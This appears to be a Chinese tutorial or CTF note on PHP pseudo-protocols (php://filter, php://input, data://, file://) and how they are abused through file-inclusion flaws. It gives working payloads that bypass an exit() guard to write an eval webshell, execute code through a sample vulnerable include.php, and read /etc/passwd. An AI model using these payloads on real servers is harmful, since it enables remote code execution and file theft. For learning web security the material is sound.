等待加载中...

PHP伪协议

支持的伪协议

1
2
3
4
5
6
7
8
file:// # 访问本地文件系统
http:// # 访问 HTTP(s) 网址
ftp:// # 访问 FTP(s) URLs
php:// # 访问各个输入/输出流(I/O streams)
zlib:// # 压缩流
data:// # 数据(RFC 2397)
glob:// # 查找匹配的文件路径模式
phar:// # PHP 归档

php://

php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。一般对其进行编码,让其不执行,从而导致任意文件读取

1
2
php://filter/read=convert.base64-encode/resource=index.php #base64方式读取
php://filter/resource=index.php

php://filter协议绕过死亡exit

1
2
3
4
5
6
# 死亡exit:在写入php代码时执行了以下函数
file_put_contents($filename, '<?php exit();?>' . $content);

# 插入一句话木马后
<?php exit();?>
<?php @eval($_POST['cmd']);?>

这样插入的一句话木马就不会被执行

$content加上<?php exit();?>后,可以使用php://filter/write=convert.base64-decode对其绕过

由于base64编码中不包含,;<>()等特殊字符,因此<?php exit();?>会变为phpexit,但是base64编码为4byte一组,因此还需要加上任意一个字符组合,最终payload为

1
2
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
# 写入的文件名是1.php,内容为<?php eval($_POST['cmd']);?>[PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==]

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。在enctype=”multipart/form-data”的时候,php://input是无效的

1
2
3
4
5
6
http://127.0.0.1/include.php?file=php://input

POST数据
<?php phpinfo();?>
# 写入一句话木马
<?php fputs(fopen('OneTrojan.php','w'),'<?php @eval($_POST['cmd']); ?>');?>

data://

数据流封装器,传递相应格式的数据。与文件包含函数(include,require,include_once,require_once)相结合时用来执行php代码

1
2
3
4
5
6
7
8
9
#include.php
<?php
if (isset($_GET[file])){
$filename = $_GET['file'];
include($filename);
}else{
echo "file";
}
?>
1
2
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
主要用于访问文件(绝对路径、相对路径以及网络路径)

1
http://127.0.0.1?file=file:///etc/passwd